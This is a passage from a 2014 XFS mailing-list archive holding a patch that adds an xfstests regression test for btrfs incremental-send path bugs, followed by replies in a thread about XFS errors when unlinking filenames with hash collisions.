OaztAFJuctnZi9LSWhTqVHtOgIB5kJ0NS6z3TljVpMmuGYV3bcj5sn8kZ11IqtAWq/Ta JIag== X-Received: by 10.180.106.167 with SMTP id gv7mr42885156wib.40.1395951532578; Thu, 27 Mar 2014 13:18:52 -0700 (PDT) Received: from debian-vm3.lan (bl5-6-132.dsl.telepac.pt. [82.154.6.132]) by mx.google.com with ESMTPSA id mv1sm15499374wib.15.2014.03.27.13.18.50 for (version=TLSv1.2 cipher=ECDHE-RSA-AES128-GCM-SHA256 bits=128/128); Thu, 27 Mar 2014 13:18:51 -0700 (PDT) From: Filipe David Borba Manana To: xfs@oss.sgi.com Cc: linux-btrfs@vger.kernel.org, jbacik@fb.com, Filipe Manana Subject: [PATCH v5] xfstests: add test for btrfs send regarding directory moves/renames Date: Thu, 27 Mar 2014 20:18:37 +0000 X-ASG-Orig-Subj: [PATCH v5] xfstests: add test for btrfs send regarding directory moves/renames Message-Id: <1395951517-20525-1-git-send-email-fdmanana@gmail.com> X-Mailer: git-send-email 1.7.10.4 In-Reply-To: <1394983466-20497-1-git-send-email-fdmanana@gmail.com> References: <1394983466-20497-1-git-send-email-fdmanana@gmail.com> X-Barracuda-Connect: mail-we0-f179.google.com[74.125.82.179] X-Barracuda-Start-Time: 1395951533 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=DKIM_SIGNED, DKIM_VERIFIED X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4316 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- -0.00 DKIM_VERIFIED Domain Keys Identified Mail: signature passes verification 0.00 DKIM_SIGNED Domain Keys Identified Mail: message has a signature From: Filipe Manana Regression test for a btrfs incremental send issue where the kernel failed to build paths strings. This resulted either in sending a wrong path string to the send stream or entering an infinite loop when building it. This happened in the following scenarios: 1) A directory was made a child of another directory which has a lower inode number and has a pending move/rename operation or there's some non-direct ancestor directory with a higher inode number that was renamed/moved too. This made the incremental send code go into an infinite loop when building a path string; 2) A directory was made a child of another directory which has a higher inode number, but the new parent wasn't moved nor renamed. Instead some other ancestor higher in the hierarchy, with an higher inode number too, was moved/renamed too. This made the incremental send code go into an infinite loop when building a path string; 3) An orphan directory is created and at least one of its non-immediate descendent directories have a pending move/rename operation. This made an incremental send issue to the send stream an invalid path string that didn't account for the orphan ancestor directory. Signed-off-by: Filipe David Borba Manana --- V2: Added more tests. V3: Added more tests for more complex cases. V4: Added more tests, related to case 3) mentioned above. V5: Added more tests, related to case 1) mentioned above. tests/btrfs/045 | 376 +++++++++++++++++++++++++++++++++++++++++++++++++++ tests/btrfs/045.out | 1 + tests/btrfs/group | 1 + 3 files changed, 378 insertions(+) create mode 100755 tests/btrfs/045 create mode 100644 tests/btrfs/045.out diff --git a/tests/btrfs/045 b/tests/btrfs/045 new file mode 100755 index 0000000..4567a3f --- /dev/null +++ b/tests/btrfs/045 @@ -0,0 +1,376 @@ +#! /bin/bash +# FS QA Test No. btrfs/045 +# +# Regression test for a btrfs incremental send issue where the kernel failed +# to build paths strings. This resulted either in sending a wrong path string +# to the send stream or entering an infinite loop when building it. +# This happened in the following scenarios: +# +# 1) A directory was made a child of another directory which has a lower inode +# number and has a pending move/rename operation or there's some non-direct +# ancestor directory with a higher inode number that was renamed/moved too. +# This made the incremental send code go into an infinite loop when building +# a path string; +# +# 2) A directory was made a child of another directory which has a higher inode +# number, but the new parent wasn't moved nor renamed. Instead some other +# ancestor higher in the hierarchy, with an higher inode number too, was +# moved/renamed too. This made the incremental send code go into an infinite +# loop when building a path string; +# +# 3) An orphan directory is created and at least one of its non-immediate +# descendent directories have a pending move/rename operation. This made +# an incremental send issue to the send stream an invalid path string that +# didn't account for the orphan ancestor directory. +# +# These issues are fixed by the following linux kernel btrfs patches: +# +# Btrfs: fix incremental send's decision to delay a dir move/rename +# Btrfs: part 2, fix incremental send's decision to delay a dir move/rename +# Btrfs: send, fix more issues related to directory renames +# Btrfs: send, account for orphan directories when building path strings +# +#----------------------------------------------------------------------- +# Copyright (c) 2014 Filipe Manana. All Rights Reserved. +# +# This program is free software; you can redistribute it and/or +# modify it under the terms of the GNU General Public License as +# published by the Free Software Foundation. +# +# This program is distributed in the hope that it would be useful, +# but WITHOUT ANY WARRANTY; without even the implied warranty of +# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +# GNU General Public License for more details. +# +# You should have received a copy of the GNU General Public License +# along with this program; if not, write the Free Software Foundation, +# Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA +#----------------------------------------------------------------------- +# + +seq=`basename $0` +seqres=$RESULT_DIR/$seq +echo "QA output created by $seq" + +tmp=`mktemp -d` +status=1 # failure is the default! +trap "_cleanup; exit \$status" 0 1 2 3 15 + +_cleanup() +{ + rm -fr $tmp +} + +# get standard environment, filters and checks +. ./common/rc +. ./common/filter + +# real QA test starts here +_supported_fs btrfs +_supported_os Linux +_require_scratch +_require_fssum +_need_to_be_root + +rm -f $seqres.full + +_scratch_mkfs >/dev/null 2>&1 +_scratch_mount + +# case 1), mentioned above +mkdir -p $SCRATCH_MNT/a/b +mkdir $SCRATCH_MNT/a/c +mkdir $SCRATCH_MNT/a/b/d +touch $SCRATCH_MNT/a/file1 +touch $SCRATCH_MNT/a/b/file2 +mv $SCRATCH_MNT/a/file1 $SCRATCH_MNT/a/b/d/file3 +ln $SCRATCH_MNT/a/b/d/file3 $SCRATCH_MNT/a/b/file4 +mkdir $SCRATCH_MNT/a/b/f +mv $SCRATCH_MNT/a/b $SCRATCH_MNT/a/c/b2 +touch $SCRATCH_MNT/a/c/b2/d/file5 + +# case 2), mentioned above +mkdir -p $SCRATCH_MNT/a/x1/x2 +mkdir $SCRATCH_MNT/a/Z +mkdir -p $SCRATCH_MNT/a/x1/x2/x3/x4/x5 + +# case 2) again, but a more complex scenario +mkdir -p $SCRATCH_MNT/_a/_b/_c/_d +mkdir $SCRATCH_MNT/_a/_b/_c/_d/_e +mkdir $SCRATCH_MNT/_a/_b/_c/_d/_f +mv $SCRATCH_MNT/_a/_b/_c/_d/_e $SCRATCH_MNT/_a/_b/_c/_d/_f/_E2 +mkdir $SCRATCH_MNT/_a/_b/_c/_g +mv $SCRATCH_MNT/_a/_b/_c/_d $SCRATCH_MNT/_a/_b/_D2 + +# case 3), mentioned above +mkdir -p $SCRATCH_MNT/za/zb/zc/zd +mkdir $SCRATCH_MNT/za/zb/ze +mv $SCRATCH_MNT/za/zb/zc $SCRATCH_MNT/za/zb/ze/zCC +mkdir $SCRATCH_MNT/za/zb/ze/zCC/zd/zf +mkdir $SCRATCH_MNT/za/zg + +# case 1), more complex scenario +mkdir -p $SCRATCH_MNT/y_a/y_b +mkdir -p $SCRATCH_MNT/y_a/y_c/y_d +mkdir $SCRATCH_MNT/y_a/y_b/y_e +mkdir $SCRATCH_MNT/y_a/y_c/y_d/y_f +mv $SCRATCH_MNT/y_a/y_b $SCRATCH_MNT/y_a/y_c/y_d/y_2b +mkdir $SCRATCH_MNT/y_a/y_x +mkdir $SCRATCH_MNT/y_a/y_y + +# case 1), variation of previous scenario with a subtree is moved into +# a directory created after creating the parent snapshot +mkdir -p $SCRATCH_MNT/w_a/w_b +mkdir -p $SCRATCH_MNT/w_a/w_c/w_d +mkdir $SCRATCH_MNT/w_a/w_b/w_e +mkdir $SCRATCH_MNT/w_a/w_c/w_d/w_f +mv $SCRATCH_MNT/w_a/w_b $SCRATCH_MNT/w_a/w_c/w_d/w_2b + +mkdir -p $SCRATCH_MNT/xa/xb +mkdir $SCRATCH_MNT/xa/xc +mv $SCRATCH_MNT/xa/xb $SCRATCH_MNT/xa/xc/xb2 +mkdir $SCRATCH_MNT/xa/xe + +mkdir -p $SCRATCH_MNT/%a/%b +mkdir $SCRATCH_MNT/%a/%c +mkdir $SCRATCH_MNT/%a/%b/%d +mkdir $SCRATCH_MNT/%a/%c/%e + +# Filesystem looks like: +# +# . (ino 256) +# |-- a/ (ino 257) +# | |-- c/ (ino 259) +# | | |-- b2/ (ino 258) +# | | |-- d/ (ino 260) +# | | | |-- file3 (ino 261) +# | | | |-- file5 (ino 264) +# | | | +# | | |-- file2 (ino 262) +# | | |-- file4 (ino 261) +# | | |-- f/ (ino 263) +# | | +# | |-- x1/ (ino 265) +# | | |-- x2/ (ino 266) +# | | |-- x3/ (ino 268) +# | | |-- x4/ (ino 269) +# | | |-- x5/ (ino 270) +# | | +# | |-- Z/ (ino 267) +# | +# |-- _a/ (ino 271) +# | |-- _b/ (ino 272) +# | |-- _c/ (ino 273) +# | | |-- _g/ (ino 277) +# | | +# | |-- _D2/ (ino 274) +# | |-- _f/ (ino 276) +# | |-- _E2/ (ino 275) +# | +# |-- za/ (ino 278) +# | |-- zb/ (ino 279) +# | | |-- ze/ (ino 282) +# | | |-- zCC/ (ino 280) +# | | |-- zd/ (ino 281) +# | | |-- zf/ (ino 283) +# | | +# | |-- zg/ (ino 284) +# | +# |-- y_a/ (ino 285) +# | |-- y_c/ (ino 287) +# | | |-- y_d/ (ino 288) +# | | |-- y_2b/ (ino 286) +# | | | |-- y_e/ (ino 289) +# | | | +# | | |-- y_f/ (ino 290) +# | | +# | |-- y_x/ (ino 291) +# | |-- y_y/ (ino 292) +# | +# |-- w_a/ (ino 293) +# | |-- w_c/ (ino 295) +# | |-- w_d/ (ino 296) +# | |-- w_2b/ (ino 294) +# | | |-- w_e/ (ino 297) +# | | +# | |-- w_f/ (ino 298) +# | +# |-- xa/ (ino 299) +# | |-- xc/ (ino 301) +# | | |-- xb2/ (ino 300) +# | | +# | |-- xe/ (ino 302) +# | +# |-- %a/ (ino 303) +# |-- %b/ (ino 304) +# | |-- %d/ (ino 306) +# | +# |-- %c/ (ino 305) +# |-- %e/ (ino 307) + +_run_btrfs_util_prog subvolume snapshot -r $SCRATCH_MNT $SCRATCH_MNT/mysnap1 + +# case 1), mentioned above +ln $SCRATCH_MNT/a/c/b2/file4 $SCRATCH_MNT/a/c/b2/f/file6 +mv $SCRATCH_MNT/a/c/b2/d/file5 $SCRATCH_MNT/a/c/file7 +touch $SCRATCH_MNT/a/c/b2/d/file8 +touch $SCRATCH_MNT/a/c/b2/file9 +ln $SCRATCH_MNT/a/c/b2/file9 $SCRATCH_MNT/a/c/b2/file10 +mv $SCRATCH_MNT/a/c/b2/f $SCRATCH_MNT/a/f2 +mv $SCRATCH_MNT/a/c $SCRATCH_MNT/a/c2 +mv $SCRATCH_MNT/a/c2/b2 $SCRATCH_MNT/a/f2/b3 +mv $SCRATCH_MNT/a/c2 $SCRATCH_MNT/a/f2/b3/c3 +touch $SCRATCH_MNT/a/f2/b3/c3/file11 +mv $SCRATCH_MNT/a $SCRATCH_MNT/a2 + +# case 2), mentioned above +mv $SCRATCH_MNT/a2/x1/x2/x3 $SCRATCH_MNT/a2/Z/X33 +mv $SCRATCH_MNT/a2/x1/x2 $SCRATCH_MNT/a2/Z/X33/x4/x5/X22 + +# case 2) again, but a more complex scenario +mkdir $SCRATCH_MNT/_a/_o +mv $SCRATCH_MNT/_a/_b/_c/_g $SCRATCH_MNT/_a/_b/_D2/_f/_G2 +mv $SCRATCH_MNT/_a/_b/_D2 $SCRATCH_MNT/_a/_b/_dd +mv $SCRATCH_MNT/_a/_b/_c $SCRATCH_MNT/_a/_C2 +mv $SCRATCH_MNT/_a/_b/_dd/_f $SCRATCH_MNT/_a/_o/_FF +mv $SCRATCH_MNT/_a/_b $SCRATCH_MNT/_a/_o/_FF/_E2/_BB + +# case 3), mentioned above +mkdir $SCRATCH_MNT/za/zg/zh +mv $SCRATCH_MNT/za/zb/ze $SCRATCH_MNT/za/zg/zh/zEE +mv $SCRATCH_MNT/za/zg/zh/zEE/zCC/zd $SCRATCH_MNT/za/zg/zh/zEE/zDD +mv $SCRATCH_MNT/za/zg/zh/zEE/zDD/zf $SCRATCH_MNT/za/zg/zh/zEE/zDD/zFF + +# case 1), more complex scenario +mv $SCRATCH_MNT/y_a/y_x $SCRATCH_MNT/y_a/y_y +mv $SCRATCH_MNT/y_a/y_c/y_d/y_2b/y_e $SCRATCH_MNT/y_a/y_c/y_d/y_2b/y_2e +mv $SCRATCH_MNT/y_a/y_c/y_d $SCRATCH_MNT/y_a/y_y/y_x/y_2d +mv $SCRATCH_MNT/y_a/y_c $SCRATCH_MNT/y_a/y_y/y_x/y_2d/y_2b/y_2c + +# case 1), variation of previous scenario with a subtree is moved into +# a directory created after creating the parent snapshot +mv $SCRATCH_MNT/w_a/w_c/w_d/w_2b/w_e $SCRATCH_MNT/w_a/w_c/w_d/w_2b/w_2e +mkdir $SCRATCH_MNT/w_a/w_h +mv $SCRATCH_MNT/w_a/w_c/w_d $SCRATCH_MNT/w_a/w_h/w_2d +mv $SCRATCH_MNT/w_a/w_c $SCRATCH_MNT/w_a/w_h/w_2d/w_2b/w_2c + +mv $SCRATCH_MNT/xa/xc/xb2 $SCRATCH_MNT/xa/xe/xb3 +mkdir $SCRATCH_MNT/xa/xe/xb3/xf +mkdir $SCRATCH_MNT/xa/xh +mv $SCRATCH_MNT/xa/xc $SCRATCH_MNT/xa/xe/xb3/xf/xc2 +mv $SCRATCH_MNT/xa/xe $SCRATCH_MNT/xa/xh/xe2 + +echo "hello" > $SCRATCH_MNT/%a/foo +mkdir $SCRATCH_MNT/%a/%b/%d/%f +mkdir $SCRATCH_MNT/%a/%b/%g +mv $SCRATCH_MNT/%a/%c/%e $SCRATCH_MNT/%a/%b/%g/%e2 +mv $SCRATCH_MNT/%a/%c $SCRATCH_MNT/%a/%b/%d/%f/%c2 +mv $SCRATCH_MNT/%a/%b/%d/%f $SCRATCH_MNT/%a/%b/%g/%e2/%f2 +mv $SCRATCH_MNT/%a/foo $SCRATCH_MNT/%a/%b/%g/%e2/%f2 + +# Filesystem now looks like: +# +# . (ino 256) +# |-- a2/ (ino 257) +# | |-- f2/ (ino 263) +# | | |-- file6 (ino 261) +# | | |-- b3/ (ino 258) +# | | |-- d/ (ino 260) +# | | | |-- file3 (ino 261) +# | | | |-- file8 (ino 308) +# | | | +# | | |-- file2 (ino 262) +# | | |-- file4 (ino 261) +# | | |-- file9 (ino 309) +# | | |-- file10 (ino 309) +# | | | +# | | |-- c3/ (ino 259) +# | | |-- file7 (ino 264) +# | | |-- file11 (ino 310) +# | | +# | |-- x1/ (ino 265) +# | |-- Z/ (ino 267) +# | |-- X33/ (ino 268) +# | |-- x4/ (ino 269) +# | |-- x5/ (ino 270) +# | |-- X22/ (ino 266) +# | +# |-- _a/ (ino 271) +# | |-- _o/ (ino 311) +# | | |-- _FF/ (ino 276) +# | | |-- _E2/ (ino 275) +# | | | |-- _BB/ (ino 272) +# | | | |-- dd/ (ino 274) +# | | | +# | | |-- G2/ (ino 277) +# | |-- C2/ (ino 273) +# | +# |-- za/ (ino 278) +# | |-- zb/ (ino 279) +# | |-- zg/ (ino 284) +# | |-- zh/ (ino 312) +# | |-- zEE/ (ino 282) +# | |-- zCC/ (ino 280) +# | |-- zDD/ (ino 281) +# | |-- zFF/ (ino 283) +# | +# |-- y_a/ (ino 285) +# | |-- y_y/ (ino 292) +# | |-- y_x/ (ino 291) +# | |-- y_2d/ (ino 288) +# | |-- y_2b/ (ino 286) +# | | |-- y_2c/ (ino 287) +# | | |-- y_2e/ (ino 289) +# | |-- y_f/ (ino 290) +# | +# |-- w_a/ (ino 293) +# | |-- w_h/ (ino 313) +# | |-- w_2d/ (ino 296) +# | |-- w_2b/ (ino 294) +# | | |-- w_2c/ (ino 295) +# | | |-- w_2e/ (ino 297) +# | |-- w_f/ (ino 298) +# | +# |-- xa/ (ino 299) +# | |-- xh/ (ino 315) +# | |-- xe2 (ino 302) +# | |-- xb3/ (ino 300) +# | |-- xf/ (ino 314) +# | |-- xc2/ (ino 301) +# | +# |-- %a/ (ino 303) +# |-- %b/ (ino 304) +# |-- %d/ (ino 306) +# |-- %g/ (ino 318) +# |-- %e2/ (ino 307) +# |-- %f2 (ino 317) +# |-- %c2/ (ino 305) +# |-- foo (ino 316) + +_run_btrfs_util_prog subvolume snapshot -r $SCRATCH_MNT $SCRATCH_MNT/mysnap2 + +run_check $FSSUM_PROG -A -f -w $tmp/1.fssum $SCRATCH_MNT/mysnap1 +run_check $FSSUM_PROG -A -f -w $tmp/2.fssum -x $SCRATCH_MNT/mysnap2/mysnap1 \ + $SCRATCH_MNT/mysnap2 + +_run_btrfs_util_prog send $SCRATCH_MNT/mysnap1 -f $tmp/1.snap + +_run_btrfs_util_prog send -p $SCRATCH_MNT/mysnap1 $SCRATCH_MNT/mysnap2 \ + -f $tmp/2.snap + +_check_scratch_fs + +_scratch_unmount +_scratch_mkfs >/dev/null 2>&1 +_scratch_mount + +_run_btrfs_util_prog receive $SCRATCH_MNT -f $tmp/1.snap +run_check $FSSUM_PROG -r $tmp/1.fssum $SCRATCH_MNT/mysnap1 + +_run_btrfs_util_prog receive $SCRATCH_MNT -f $tmp/2.snap +run_check $FSSUM_PROG -r $tmp/2.fssum $SCRATCH_MNT/mysnap2 + +_check_scratch_fs + +status=0 +exit diff --git a/tests/btrfs/045.out b/tests/btrfs/045.out new file mode 100644 index 0000000..5b0d489 --- /dev/null +++ b/tests/btrfs/045.out @@ -0,0 +1 @@ +QA output created by 045 diff --git a/tests/btrfs/group b/tests/btrfs/group index 4589043..9b41895 100644 --- a/tests/btrfs/group +++ b/tests/btrfs/group @@ -47,3 +47,4 @@ 042 auto quick 043 auto quick 044 auto quick +045 auto quick -- 1.7.10.4 From tinguely@sgi.com Thu Mar 27 15:36:50 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id E6C517F3F for ; Thu, 27 Mar 2014 15:36:50 -0500 (CDT) Received: from eagdhcp-232-178.americas.sgi.com (eagdhcp-232-178.americas.sgi.com [128.162.232.178]) by relay1.corp.sgi.com (Postfix) with ESMTP id B7BE78F8035; Thu, 27 Mar 2014 13:36:47 -0700 (PDT) Message-ID: <53348BE0.7000606@sgi.com> Date: Thu, 27 Mar 2014 15:36:48 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Hannes Frederic Sowa CC: xfs@oss.sgi.com Subject: Re: xfs errors while unlinking filenames with hash collisions References: <20140327074156.GJ29498@order.stressinduktion.org> <5334241E.9060708@sgi.com> <20140327132354.GU29498@order.stressinduktion.org> <533428D6.507@sgi.com> <20140327140556.GW29498@order.stressinduktion.org> <53344075.8050607@sgi.com> <20140327152448.GE29498@order.stressinduktion.org> In-Reply-To: <20140327152448.GE29498@order.stressinduktion.org> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 03/27/14 10:24, Hannes Frederic Sowa wrote: > On Thu, Mar 27, 2014 at 10:15:01AM -0500, Mark Tinguely wrote: >> On 03/27/14 09:05, Hannes Frederic Sowa wrote: >>> On Thu, Mar 27, 2014 at 08:34:14AM -0500, Mark Tinguely wrote: >>>> On 03/27/14 08:23, Hannes Frederic Sowa wrote: >>>>> On Thu, Mar 27, 2014 at 08:14:06AM -0500, Mark Tinguely wrote: >>>>>> Have you tried to run a xfs_repair on the filesystem after the reboot? >>>>> >>>>> Yes, I did. I still use the filesystem and it works. As soon as I try to >>>>> remove the directory again the same splash from above happens again. >>>> >>>> Is it the latest xfsprogs' repair? >>>> >>>> Do you have the output from the repair still? >>> >>> I can easily test this here, so you can throw any commands and tests at >>> me. ;) >>> >>> This is the output: >>> >>> (I replayed the journal before that) >>> >>> pre-mount:/# xfs_repair -V >>> xfs_repair version 3.1.11 >>> pre-mount:/# xfs_repair -v /dev/vda1 >>> Phase 1 - find and verify superblock... >>> - block cache size set to 372848 entries >>> Phase 2 - using internal log >>> - zero log... >>> zero_log: head block 5071 tail block 5071 >>> - scan filesystem freespace and inode maps... >>> - found root inode chunk >>> Phase 3 - for each AG... >>> - scan and clear agi unlinked lists... >>> - process known inodes and perform inode discovery... >>> - agno = 0 >>> bad hash ordering in block 8388739 of directory inode 3543184 >> >> interesting. I will see if I can recreate it. >> >> Are you open to making it an xfstest? > > Sure, I'll put it on my todo list for the weekend. > > Thanks, > > Hannes I will bisect where this started to happen. It appears to be around Linux 3.10. --Mark. From tinguely@sgi.com Thu Mar 27 15:57:44 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id ED3CE7F3F for ; Thu, 27 Mar 2014 15:57:44 -0500 (CDT) Received: from eagdhcp-232-178.americas.sgi.com (eagdhcp-232-178.americas.sgi.com [128.162.232.178]) by relay1.corp.sgi.com (Postfix) with ESMTP id C57C18F8037; Thu, 27 Mar 2014 13:57:44 -0700 (PDT) Message-ID: <533490C9.3010703@sgi.com> Date: Thu, 27 Mar 2014 15:57:45 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Hannes Frederic Sowa CC: xfs@oss.sgi.com Subject: Re: xfs errors while unlinking filenames with hash collisions References: <20140327074156.GJ29498@order.stressinduktion.org> <5334241E.9060708@sgi.com> <20140327132354.GU29498@order.stressinduktion.org> <533428D6.507@sgi.com> <20140327140556.GW29498@order.stressinduktion.org> <53344075.8050607@sgi.com> <20140327152448.GE29498@order.stressinduktion.org> In-Reply-To: <20140327152448.GE29498@order.stressinduktion.org> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit On 03/27/14 10:24, Hannes Frederic Sowa wrote: > On Thu, Mar 27, 2014 at 10:15:01AM -0500, Mark Tinguely wrote: >> On 03/27/14 09:05, Hannes Frederic Sowa wrote: >>> On Thu, Mar 27, 2014 at 08:34:14AM -0500, Mark Tinguely wrote: >>>> On 03/27/14 08:23, Hannes Frederic Sowa wrote: >>>>> On Thu, Mar 27, 2014 at 08:14:06AM -0500, Mark Tinguely wrote: >>>>>> Have you tried to run a xfs_repair on the filesystem after the reboot? >>>>> >>>>> Yes, I did. I still use the filesystem and it works. As soon as I try to >>>>> remove the directory again the same splash from above happens again. >>>> >>>> Is it the latest xfsprogs' repair? >>>> >>>> Do you have the output from the repair still? >>> >>> I can easily test this here, so you can throw any commands and tests at >>> me. ;) >>> >>> This is the output: >>> >>> (I replayed the journal before that) >>> >>> pre-mount:/# xfs_repair -V >>> xfs_repair version 3.1.11 >>> pre-mount:/# xfs_repair -v /dev/vda1 >>> Phase 1 - find and verify superblock... >>> - block cache size set to 372848 entries >>> Phase 2 - using internal log >>> - zero log... >>> zero_log: head block 5071 tail block 5071 >>> - scan filesystem freespace and inode maps... >>> - found root inode chunk >>> Phase 3 - for each AG... >>> - scan and clear agi unlinked lists... >>> - process known inodes and perform inode discovery... >>> - agno = 0 >>> bad hash ordering in block 8388739 of directory inode 3543184 >> >> interesting. I will see if I can recreate it. >> >> Are you open to making it an xfstest? > > Sure, I'll put it on my todo list for the weekend. > > Thanks, > > Hannes I will bisect to find the introduction. It appears be somewhere between Linux 3.9 and 3.10. --Mark. From hannes@stressinduktion.org Thu Mar 27 16:15:20 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id DA2837F4E for ; Thu, 27 Mar 2014 16:15:20 -0500 (CDT) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id B7DC2304070 for ; Thu, 27 Mar 2014 14:15:17 -0700 (PDT) X-ASG-Debug-ID: 1395954915-04cb6c5678a03da0001-NocioJ Received: from order.stressinduktion.org (order.stressinduktion.org [87.106.68.36]) by cuda.sgi.com with ESMTP id ET4zLociLJxdYMzp (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Thu, 27 Mar 2014 14:15:16 -0700 (PDT) X-Barracuda-Envelope-From: hannes@stressinduktion.org X-Barracuda-Apparent-Source-IP: 87.106.68.36 Received: by order.stressinduktion.org (Postfix, from userid 500) id CEB001A0C2A1; Thu, 27 Mar 2014 22:15:14 +0100 (CET) Date: Thu, 27 Mar 2014 22:15:14 +0100 From: Hannes Frederic Sowa To: Mark Tinguely Cc: xfs@oss.sgi.com Subject: Re: xfs errors while unlinking filenames with hash collisions Message-ID: <20140327211514.GF29498@order.stressinduktion.org> X-ASG-Orig-Subj: Re: xfs errors while unlinking filenames with hash collisions References: <20140327074156.GJ29498@order.stressinduktion.org> <5334241E.9060708@sgi.com> <20140327132354.GU29498@order.stressinduktion.org> <533428D6.507@sgi.com> <20140327140556.GW29498@order.stressinduktion.org> <53344075.8050607@sgi.com> <20140327152448.GE29498@order.stressinduktion.org> <533490C9.3010703@sgi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=utf-8 Content-Disposition: inline In-Reply-To: <533490C9.3010703@sgi.com> X-Barracuda-Connect: order.stressinduktion.org[87.106.68.36] X-Barracuda-Start-Time: 1395954916 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.3.4316 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On Thu, Mar 27, 2014 at 03:57:45PM -0500, Mark Tinguely wrote: > On 03/27/14 10:24, Hannes Frederic Sowa wrote: > >On Thu, Mar 27, 2014 at 10:15:01AM -0500, Mark Tinguely wrote: > >>On 03/27/14 09:05, Hannes Frederic Sowa wrote: > >>>On Thu, Mar 27, 2014 at 08:34:14AM -0500, Mark Tinguely wrote: > >>>>On 03/27/14 08:23, Hannes Frederic Sowa wrote: > >>>>>On Thu, Mar 27, 2014 at 08:14:06AM -0500, Mark Tinguely wrote: > >>>>>>Have you tried to run a xfs_repair on the filesystem after the reboot? > >>>>> > >>>>>Yes, I did. I still use the filesystem and it works. As soon as I try > >>>>>to > >>>>>remove the directory again the same splash from above happens again. > >>>> > >>>>Is it the latest xfsprogs' repair? > >>>> > >>>>Do you have the output from the repair still? > >>> > >>>I can easily test this here, so you can throw any commands and tests at > >>>me. ;) > >>> > >>>This is the output: > >>> > >>>(I replayed the journal before that) > >>> > >>>pre-mount:/# xfs_repair -V > >>>xfs_repair version 3.1.11 > >>>pre-mount:/# xfs_repair -v /dev/vda1 > >>>Phase 1 - find and verify superblock... > >>> - block cache size set to 372848 entries > >>>Phase 2 - using internal log > >>> - zero log... > >>>zero_log: head block 5071 tail block 5071 > >>> - scan filesystem freespace and inode maps... > >>> - found root inode chunk > >>>Phase 3 - for each AG... > >>> - scan and clear agi unlinked lists... > >>> - process known inodes and perform inode discovery... > >>> - agno = 0 > >>>bad hash ordering in block 8388739 of directory inode 3543184 > >> > >>interesting. I will see if I can recreate it. > >> > >>Are you open to making it an xfstest? > > > >Sure, I'll put it on my todo list for the weekend. > > > I will bisect to find the introduction. It appears be somewhere between > Linux 3.9 and 3.10. Thanks! Maybe it would be best to add a seed to the hashing function (and the super block)? From tinguely@sgi.com Thu Mar 27 16:20:43 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id ED3037F56 for ; Thu, 27 Mar 2014 16:20:43 -0500 (CDT) Received: from eagdhcp-232-178.americas.sgi.com (eagdhcp-232-178.americas.sgi.com [128.162.232.178]) by relay2.corp.sgi.com (Postfix) with ESMTP id B56A1304075; Thu, 27 Mar 2014 14:20:43 -0700 (PDT) Message-ID: <5334962C.1050501@sgi.com> Date: Thu, 27 Mar 2014 16:20:44 -0500 From: Mark Tinguely User-Agent: Mozilla/5.0 (X11; FreeBSD amd64; rv:9.0) Gecko/20120122 Thunderbird/9.0 MIME-Version: 1.0 To: Hannes Frederic Sowa CC: xfs@oss.sgi.com Subject: Re: xfs errors while unlinking filenames with hash collisions References: <20140327074156.GJ29498@order.stressinduktion.org> 